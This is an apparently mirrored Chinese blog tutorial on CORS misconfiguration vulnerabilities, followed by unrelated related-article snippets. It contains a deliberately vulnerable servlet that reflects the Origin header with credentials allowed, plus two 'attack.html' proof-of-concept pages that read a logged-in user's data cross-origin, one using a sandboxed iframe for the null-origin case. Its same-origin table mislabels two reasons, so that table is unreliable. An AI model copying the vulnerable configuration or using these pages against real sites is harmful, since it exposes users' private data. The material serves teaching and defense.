CORS跨域资源共享漏洞

news2024/11/19 7:36:20

前置知识

跨域

域(Domain)是由三部分组成的标识:协议、域名和端口。

例如这两个ip就属于不同的域:

  • http://example.com

  • https://example.com

因为它们的协议不同(一个是HTTP,另一个是HTTPS),并且它们的端口也有差异(HTTP默认端口为80,HTTPS默认端口为443)。因此,这两个域之间的请求被认为是跨域请求。

而没有限制的跨域请求,就会有很多的弊端,例如导致CSRF等。为了解决这个问题于是引入了同源策略这个概念。

同源策略

同源策略(Same-Origin Policy)是浏览器的一项安全措施,它限制了网页中的脚本只能与加载该脚本的页面具有相同的协议域名端口,才能进行无障碍的跨域资源访问。同源策略的目的是保护用户的信息和隐私,防止恶意网站利用浏览器漏洞获取或修改其他网站的数据。

例如下表中与`http://example.com/api/v1/index.html 属于相同来源的是:

URL结果原因
http://example.com/api/v1/login.html只有路径不相同
http://user:pass@example.com/api/v1/other.html只有路径不相同
https://example.com/api/v1/index.html不同协议(https)
http://example.com:81/api/v1/index.html不同域名
http://test.example.com/api/v1/index.html不同端口

有一些标签是不受同源策略限制的,这些标签可以自由地加载和显示来自其他域的内容,而无需进行跨域请求。

  • script:<script src="http://example.com/script.js"></script>
  • img:<img src="http://example.com/image.jpg" alt="Image">
  • iframe:<iframe src="http://example.com"></iframe>
  • link:<link rel="stylesheet" href="http://example.com/styles.css">

有了同源策略可以较有效的防止CSRF和XSS等漏洞,但同时也带来了一个弊端:同协议、同域名、同端口使得跨域资源共享变得更为复杂困难。这时就需要引入CORS(跨域资源共享)来处理这个问题。

CORS

定义

CORS(跨域资源共享)是一种用于在Web浏览器中处理跨域请求的机制。当在浏览器上执行JavaScript代码时,由于同源策略的限制,脚本只能与同源(相同协议、域名和端口)的服务器进行通信。但在某些情况下,我们可能需要从一个域向另一个域请求数据或资源,这就涉及到跨域请求。

工作原理

CORS允许服务器定义哪些外部域有权限访问其资源。当浏览器发起跨域请求时,它会首先发送一个预检请求(OPTIONS请求),询问服务器是否允许实际请求。服务器通过返回特定的HTTP响应头来控制跨域访问,其中最重要的是"Access-Control-Allow-Origin"头,指定允许访问的域。如果服务器响应中包含了请求的源域,那么浏览器会允许实际的跨域请求并接收响应。

除"Access-Control-Allow-Origin"外,还有其他的CORS头可以用来进一步定义跨域请求的行为,例如:.

  • Access-Control-Allow-Credentials:是否允许浏览器读取response的内容

  • Access-Control-Allow-Methods:指定允许的HTTP方法(GET、POST等)。

  • Access-Control-Allow-Headers:指定允许的请求头。

  • Access-Control-Max-Age:指定预检请求的有效期。

CORS漏洞

漏洞原理

CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true等。

测试环境

firefox 59.0:Directory Listing: /pub/firefox/releases/59.0/ (mozilla.org)

tomcat 8.5

靶机:192.168.235.166

攻击机:192.168.43.136

漏洞测试

先设置一个登录框,和一个信息查询页面,模拟用户登录和获取个人信息

LoginServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "login", value = "/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (req.getParameter("user") != null){
            if (req.getParameter("user").equals("admin")){
                Cookie cookie = new Cookie("user", "admin");
                resp.addCookie(cookie);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().print("Sentiment登陆成功! ");
            }
        }else {
            resp.getWriter().print("登录失败");
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

PersonInfoServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "personinfo", value = "/info")
public class PersonInfoServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Cookie[] cookies = req.getCookies();
        resp.setContentType("text/html;charset=UTF-8");

        String origin = req.getHeader("origin");
        if (origin != null){
            resp.setHeader("Access-Control-Allow-Origin",origin);
            resp.setHeader("Access-Control-Allow-Credentials","true");
        }

        if (cookies != null){
            for (Cookie cookie : cookies) {
                String name = cookie.getName();
                String value = cookie.getValue();
                if (name.equals("user") && value.equals("admin")){
                    resp.getWriter().print("你好Sentiment,你的密码是123456");
                }
            }
        }else {
            resp.getWriter().print("未登录");
        }
    }
}

第一种情况

可能导致漏洞的环境有多种方式,先看下这种:

Access-Control-Allow-Origin: all-host
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin",origin);
resp.setHeader("Access-Control-Allow-Credentials","true");

这两个返回头表示应用程序允许来自任何Origin的任何脚本向应用程序发出CORS请求。

先模拟用户登录

在这里插入图片描述

此时用户访问/info,便能看到自己的信息
在这里插入图片描述

这时我们构造恶意脚本,发送给该用户

attack.html

<!DOCTYPE html>
<html>
<body>
<center>
  <h2>CORS POC Exploit</h2>
  <h3>Extract SID</h3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
  </div>

  <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          alert(this.responseText);
        }
      };
      xhttp.open("GET", "http://192.168.235.166:8081/info", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
  </script>
</center>
</body>
</html>

当用户点击后,便可跨域请求用户端的info信息,并且带上了用户的cookie
在这里插入图片描述

第二种情况

服务器返回如下消息头,这种情况下,利用起来稍有困难,这里的null必须小写。

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin","null");
resp.setHeader("Access-Control-Allow-Credentials","true");

这时再请求attack.html,发现被拦截
在这里插入图片描述

这是由于发送的请求origin并不为null
在这里插入图片描述

此时修改attack.html

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/html">
<body>
<center>
  <h2>CORS POC Exploit</h2>
  <h3>Extract SID</h3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
  </div>

  <iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        alert(this.responseText);
      }
    };
    xhttp.open('GET', 'http://192.168.235.166:8081/info', true);
    xhttp.withCredentials = true;
    xhttp.send();
</script>"></iframe>

</center>
</body>
</html>

成功获取敏感信息
在这里插入图片描述

第三种情况

这种情况表示允许所有网站的跨域请求,但它并不能获取到用户cookie,因为这种配置本身就有问题,是不被安全策略允许的。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在这里插入图片描述

SameSite配置问题

在测试环境中,我使用的是 Firefox 59.0 。这并不是随意选择的,而是基于 SameSite 配置的需要。从 Firefox 60 开始,Cookie 引入了一个新属性 SameSite,用于防止 CSRF 攻击等。同样edge和chorm分别在80、51版本后也引入了改配置

属性

SameSite有三个属性:

  • **Strict:**最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
  • **Lax:**当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie

Lax的情况见下表:

请求类型示例正常情况Lax
链接<a href="..."></a>发送 Cookie发送 Cookie
预加载<link rel="prerender" href="..."/>发送 Cookie发送 Cookie
GET 表单<form method="GET" action="...">发送 Cookie发送 Cookie
POST 表单<form method="POST" action="...">发送 Cookie不发送
iframe<iframe src="..."></iframe>发送 Cookie不发送
AJAX$.get("...")发送 Cookie不发送
Image<img src="...">发送 Cookie不发送

PS:我们发送的AJAX请求,是不会发送Cookie的,因此需要修改这个默认设置

  • **None:**所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上Secure属性才能够生效

解决方法

通过上边可以发现SameSite设置为None时,仍然是可以发送Cookie的,所以当发现samesite=None仍可尝试CORS攻击,但需要注意几点:

  • 协议必须是https(这是因为在SameSite=None模式下,浏览器要求使用安全连接(HTTPS)才能传输具有此标志的Cookie)
  • cookie必须设置Secure
    在这里插入图片描述

CORS防御

  • Access-Control-Allow-Origin 设为受信任的站点
  • 减少Access-Control-Allow-Methods所允许的请求方式
  • 只允许安全的协议如https

参考链接

全方位了解CORS跨域资源共享漏洞 - 先知社区 (aliyun.com)

浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)

https://github.com/chenjj/CORScanner

第40篇:CORS跨域资源共享漏洞的复现、分析、利用及修复过程_cors漏洞修复_希潭实验室ABC123的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/791200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023百强县名单出炉!千亿县达54个

作为国民经济发展中的基本单元&#xff0c;县域经济发挥着重要作用。 赛迪顾问25日发布的《2023中国县域经济百强研究》&#xff08;下称“报告”&#xff09;显示&#xff0c;千亿县达54个&#xff0c;百强县前10名中江苏省独占6席。 在百强县前10名中&#xff0c;江苏省占席最…

Esp32_Arduino接入腾讯云笔记

ESP32是一款由乐鑫科技&#xff08;Espressif Systems&#xff09;推出的双核、低功耗、集成Wi-Fi和蓝牙的单芯片微控制器。它采用了Tensilica Xtensa LX6高性能处理器&#xff0c;具有大量的GPIO引脚、模数转换器、SPI、I2S、UART、PWM、I2C和SD卡接口等功能&#xff0c;可以满…

android 清除缓存方法

获得应用的存储信息 private void getAppStorageInfo(String packageName){StorageStatsManager storageStatsManager (StorageStatsManager) context.getSystemService(Context.STORAGE_STATS_SERVICE);StorageManager storageManager (StorageManager) context.getSystemS…

第二十一章 数据处理篇:imgaug

参考教程&#xff1a; https://imgaug.readthedocs.io/en/latest/source/jupyter_notebooks.html 文章目录 概述针对图片的增强基础使用样例base class: augment增强的组合sequentialsomeof和oneofsometimes 增强的种类 针对关键点的增强针对包围框的增强 概述 imgaug是一个使…

【深度学习】GPT-3

2020年5月&#xff0c;OpenAI在长达72页的论文《https://arxiv.org/pdf/2005.14165Language Models are Few-Shot Learners》中发布了GPT-3&#xff0c;共有1750亿参数量&#xff0c;需要700G的硬盘存储&#xff0c;(GPT-2有15亿个参数)&#xff0c;它比GPT-2有了极大的改进。根…

PX4常见解锁失败报错及解决方法

文章目录 一、Kill switch engagen二、电源检查CBRK_SUPPLY_CHK三、USB连接检查CBRK_USB_CHK四、安全开关检查CBRK_IO_SAFETY五、high Accelerometer bios六、high gyro bios七、compasss inconsistent八、GPS报错九、Accels inconsistent十、偏航角一直漂移十一、PREFLIGHT FA…

同步编程和异步编程的区别

我在这里用几个例子&#xff08;附带图文&#xff09;给你们讲解一下&#xff0c;具体区别。 第一个例子 一、同步 执行步骤&#xff1a; step1 》 step2 》step3 先打印 hello moon&#xff0c; 再打印图片&#xff0c; 等待图片打印完&#xff0c;再打印 hello Jupiter …

全国青少年信息素养大赛Scratch图形化编程_初赛_模拟一卷

全国青少年电子信息智能创新大赛Scratch图形化编程_初赛_模拟一卷 一、选择题 第 1 题 单选题 能让角色在整个舞台范围内的任意位置出现的程序是&#xff1f;&#xff08; &#xff09; A. B. C. D. 第 2 题 单选题 猫抓老鼠游戏的封面上有“开始”按钮和“游戏规则”两…

实战:Docker+Jenkins+Gitee构建CICD流水线

文章目录 前言Jenkins部署创建Jenkins docker-compose配置maven源启动Jenkins容器安装插件Gitee ssh公匙配置与测试项目提交 Jenkins创建流水线写在最后 前言 持续集成和持续交付一直是当下流行的开发运维方式&#xff0c;CICD省去了大量的运维时间&#xff0c;也能够提高开发…

Windows环境部署安装Chatglm2-6B-int4

chatglm2-6B是最近比较火爆的大模型&#xff0c;可以在消费级显卡上部署使用&#xff0c;适合学习。但是一般人也不一定有那么高的硬件配置&#xff0c;所以部署个int4版本应该是大多数人的最好选择。我就在家里部署起了int4版本的chatglm2-6B&#xff0c;记录一下免得忘了。 …

Docker资源限制

Docker资源限制 一、cpu资源控制1、 设置cpu使用率上限2、设置cpu资源占用比&#xff08;设置多个容器时才有效&#xff09;3、设置容器绑定指定的CPU 三、内存资源控制四、磁盘IO配额控制1、限制Block IO2、限制bps和iops进行限制 一、cpu资源控制 cgroups是一个非常强大的li…

VMware虚拟机无法自动获取IP地址的解决办法

安装好虚拟机后&#xff0c;网络是ok的&#xff0c;但是关机后&#xff0c;再次开启就不能用了。网上找了好多方法&#xff0c;都不管用&#xff0c;最后恢复默认设置搞定了&#xff0c;实在没办法的可以试一试

【致敬未来的攻城狮计划】第3期 作业汇总贴 + 获奖公布(文末荐书)

目录 一、写在前面 二、种子学员介绍 三、作业贴汇总 四、小小总结 五、获奖公布 六、学员有话说 七、特别致谢 八、友情荐书 一、写在前面 时间过得真快&#xff0c;距离 【致敬未来的攻城狮计划】第3期 的发起&#xff0c;已经过去有些时间了&#xff0c;让我们一起…

FileHub使用教程:Github Token获取步骤,使用快人一步

FileHub介绍 filehub是我开发的一个免费文件存储软件&#xff0c;可存万物。软件仓库&#xff1a;GitHub - Sjj1024/s-hub: 一个使用github作为资源存储的软件 软件下载地址&#xff1a;。有问题可以留言或者提Issue&#xff0c; 使用第一步&#xff1a;获取Github Token 使…

苹果手机充电充不进去什么原因?2023最新解决方法!

最近新买了一部苹果手机&#xff0c;才开心没两天呢&#xff0c;今天突然就发现苹果手机充电充不进了&#xff0c;这是为什么呢&#xff1f;有没有朋友知道呀&#xff1f;” 苹果手机作为目前年轻人比较喜欢的一款手机&#xff0c;也渐渐走进我们的生活。但在使用苹果手机时&am…

windows下载安装nvm并使用安装node

nvm安装 NVM&#xff08;Node Version Manager&#xff09;是一个用于管理 Node.js 版本的工具&#xff0c;可以在同一台计算机上安装和切换不同版本的 Node.js 1.官网下载 官网&#xff1a;https://github.com/coreybutler/nvm-windows/releases 2.安装步骤 解压后点击e…

网访问内网机器:基于frp的内网穿透

随缘更新些我自己的博客网站里的文章吧 因为经常需要远程访问自己的机器&#xff0c;所以写一个博客记录一下 公网访问内网机器&#xff1a;基于frp的内网穿透 从公网中访问自己的私有设备向来是一件难事儿。 1. 为什么需要内网穿透&#xff1f; A. 计算机网络 如何在自己的机…

【Lua学习笔记】Lua进阶——Table,迭代器

文章目录 官方唯一指定数据结构--tabletable的一万种用法字典和数组 迭代器ipairs()pairs() 回到Table 在【Lua学习笔记】Lua入门中我们讲到了Lua的一些入门知识点&#xff0c;本文将补充Lua的一些进阶知识 官方唯一指定数据结构–table 在上篇文章的最后&#xff0c;我们指出…

【windows】连接共享打印机提示:0x0000011B

【问题现象】 添加共享打印机的时候&#xff0c; 提示错误&#xff1a;0x0000011B。 【解决方法】 按winr键&#xff0c;在运行输入regedit 然后在注册表中找到路径&#xff1a; 计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print 打开后&#xff0c;在右侧…

Android 之 Canvas API 详解 (Part 3) Matrix 和 drawBitmapMesh

本节引言&#xff1a; 在Canvas的API文档中&#xff0c;我们看到这样一个方法&#xff1a;drawBitmap(Bitmap bitmap, Matrix matrix, Paint paint) 这个Matrix可是有大文章的&#xff0c;前面我们在学Paint的API中的ColorFilter中曾讲过ColorMatrix 颜色矩阵&#xff0c;一个4…